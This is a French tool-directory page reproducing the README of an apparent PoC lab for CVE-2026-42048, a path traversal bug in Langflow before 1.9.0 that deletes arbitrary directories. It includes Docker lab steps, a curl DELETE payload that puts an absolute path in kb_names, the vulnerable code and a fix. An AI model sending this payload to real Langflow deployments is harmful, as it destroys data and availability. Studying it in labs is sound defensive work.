Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-42048 — Langflow Suppression arbitraire de répertoires | Kitploit
Outils/GitHubGitHub/eqstlab/cve-2026-42048
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationLabs et Pratique
GitHubeqstlab/cve-2026-42048

CVE-2026-42048

Langflow Suppression arbitraire de répertoires

Voir le dépôt
2il y a 3 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-42048

CVE-2026-42048 Langflow — Preuve de concept (PoC) de traversée de chemin / suppression arbitraire de répertoire

https://github.com/user-attachments/assets/6e5481ff-e953-47a5-8870-70b30c6550de


Description

CVE-2026-42048 : Vulnérabilité de suppression arbitraire de répertoire dans Langflow

description: Une vulnérabilité de traversée de chemin dans Langflow avant 1.9.0 permet à un attaquant authentifié de supprimer des répertoires en dehors du chemin de stockage prévu de la base de connaissances via le point de terminaison de suppression groupée, DELETE /api/v1/knowledge_bases. Le problème survient car les valeurs kb_names contrôlées par l'utilisateur sont utilisées pour construire des chemins du système de fichiers sans validation appropriée de normalisation et de confinement.


Preconditions

L'exploitation réussie nécessite les conditions suivantes :

  • La cible exécute une version vulnérable de Langflow, avant 1.9.0.
  • L'attaquant peut atteindre le point de terminaison de suppression groupée des bases de connaissances :
root@kitploit:~
DELETE /api/v1/knowledge_bases
  • L'attaquant est authentifié ou peut autrement effectuer des requêtes API authentifiées. Les avis publics décrivent ce problème comme nécessitant des privilèges faibles (PR:L).
  • L'attaquant peut contrôler le paramètre kb_names du corps de la requête.
  • Le processus Langflow dispose des permissions du système de fichiers nécessaires pour supprimer le répertoire cible.

Cette vulnérabilité ne contourne pas les permissions du système de fichiers du système d'exploitation. Elle abuse de la gestion des chemins et de la logique de suppression de Langflow elle-même.


Lab Setup

Construisez et exécutez l'environnement vulnérable avec Docker :

Construire l'image

root@kitploit:~
docker build -t cve-2026-42048 .

Exécuter le conteneur

root@kitploit:~
docker run --rm -d -p 9101:9101 --name cve-2026-42048 cve-2026-42048

Vérifier l'état

root@kitploit:~
curl http://127.0.0.1:9101/status

Le laboratoire crée un répertoire cible jetable à l'adresse :

root@kitploit:~
/target/CVE-2026-42048

Le point de terminaison /status indique si ce répertoire existe toujours.


Utilisation

Exploit avec le PoC

root@kitploit:~
python3 poc.py

Saisie interactive :

root@kitploit:~
Vulnerable URL: http://127.0.0.1:9101
Path to delete [/target/CVE-2026-42048]:

Exploit avec curl

root@kitploit:~
curl -s -X DELETE http://127.0.0.1:9101/api/v1/knowledge_bases \
  -H "Content-Type: application/json" \
  -d '{"kb_names":["/target/CVE-2026-42048"]}'

Vérifier le résultat

root@kitploit:~
curl http://127.0.0.1:9101/status

Si l'exploitation réussit, target_exists passe de true à false.


Analyse

Point de terminaison vulnérable

root@kitploit:~
DELETE /api/v1/knowledge_bases

La vulnérabilité existe dans l'API de suppression groupée des bases de connaissances de Langflow. Le gestionnaire concerné accepte une liste de noms de bases de connaissances via le paramètre kb_names et utilise chaque valeur pour construire un chemin du système de fichiers à supprimer.

Dans les versions vulnérables, la logique de suppression groupée construit manuellement le chemin au lieu d'utiliser l'assistant de résolution de chemin plus sûr employé par les autres points de terminaison de bases de connaissances. Une représentation simplifiée du motif vulnérable est :

root@kitploit:~
kb_root_path = KBStorageHelper.get_root_path()
kb_user_path = kb_root_path / current_user.username

for kb_name in request.kb_names:
    kb_path = kb_user_path / kb_name

    if not kb_path.exists() or not kb_path.is_dir():
        continue

    KBStorageHelper.delete_storage(kb_path, kb_name)

L'assistant de suppression finit par supprimer le répertoire cible avec une logique de suppression récursive. Comme kb_name est contrôlé par l'attaquant, des séquences de traversée de chemin telles que ../ peuvent sortir du répertoire de base de connaissances de l'utilisateur actuel. Dans pathlib de Python, un chemin absolu fourni sur le côté droit peut également remplacer les composants de chemin précédents :

root@kitploit:~
Path("/safe/base") / "/target/CVE-2026-42048"
# -> /target/CVE-2026-42048

Par conséquent, une valeur kb_names spécialement conçue peut amener Langflow à supprimer un répertoire en dehors de la racine de stockage prévue de la base de connaissances, tant que le processus Langflow a la permission de supprimer ce répertoire.

C'est un problème de CWE-22 : limitation inappropriée d'un nom de chemin à un répertoire restreint.

Cause technique racine

La cause racine est une normalisation et une validation des limites insuffisantes des composants de chemin contrôlés par l'utilisateur avant la suppression récursive. Le point de terminaison de suppression groupée vulnérable vérifie si le chemin final existe, mais il ne garantit pas que le chemin résolu reste dans le répertoire de base de connaissances de l'utilisateur authentifié.

Un correctif robuste doit :

  • normaliser le chemin final avec Path.resolve()
  • garantir que le chemin résolu se trouve toujours dans le répertoire de base de connaissances de l'utilisateur authentifié
  • rejeter les chemins qui sortent de ce répertoire avant la suppression

Langflow a corrigé ce problème dans 1.9.0.

Pourquoi c'est important

La suppression arbitraire de répertoires peut directement affecter l'intégrité et la disponibilité. Selon les permissions de déploiement et l'organisation du système de fichiers, un attaquant peut être en mesure de :

  • supprimer les données de la base de connaissances d'un autre utilisateur
  • supprimer des répertoires appartenant à l'application
  • perturber l'état d'exécution de Langflow
  • provoquer une perte de données ou une interruption de service

Ce problème ne nécessite pas d'exécution de code arbitraire pour être nuisible. La suppression récursive avec les privilèges de l'application suffit à endommager les données et la disponibilité.


Scénario

root@kitploit:~
+-------------------------------------------+
|              Authenticated User           |
+-------------------------------------------+
                      |
                      | DELETE /api/v1/knowledge_bases
                      | kb_names = ["/target/CVE-2026-42048"]
                      v
+-------------------------------------------+
|       Langflow Knowledge Base API         |
+-------------------------------------------+
                      |
                      | Unsafe path construction
                      v
+-------------------------------------------+
|   Path Escapes Intended KB User Directory |
+-------------------------------------------+
                      |
                      | Recursive directory deletion
                      v
+-------------------------------------------+
|        Arbitrary Directory Deletion       |
+-------------------------------------------+

Notes de laboratoire

Ce laboratoire expose un petit proxy de défi sur le port 9101. Le proxy masque l'interface Langflow complète et le port backend direct, tout en transférant uniquement le chemin d'API vulnérable minimal requis pour cet exercice.

Le répertoire cible du laboratoire est :

root@kitploit:~
/target/CVE-2026-42048

Le point de terminaison /status peut être utilisé pour confirmer que le répertoire cible a été supprimé.


Nettoyage

root@kitploit:~
docker stop cve-2026-42048

Avertissement

Ce dépôt n'est pas destiné à faciliter l'exploitation non autorisée d'instances Langflow. Le but de ce projet est d'aider les chercheurs en sécurité, les défenseurs et les développeurs à comprendre la vulnérabilité, à valider l'exposition dans des environnements contrôlés et à appliquer des mesures d'atténuation efficaces.


Références

https://github.com/langflow-ai/langflow/security/advisories/GHSA-9whx-c884-c68q

https://nvd.nist.gov/vuln/detail/CVE-2026-42048

https://github.com/langflow-ai/langflow

Télécharger l’outil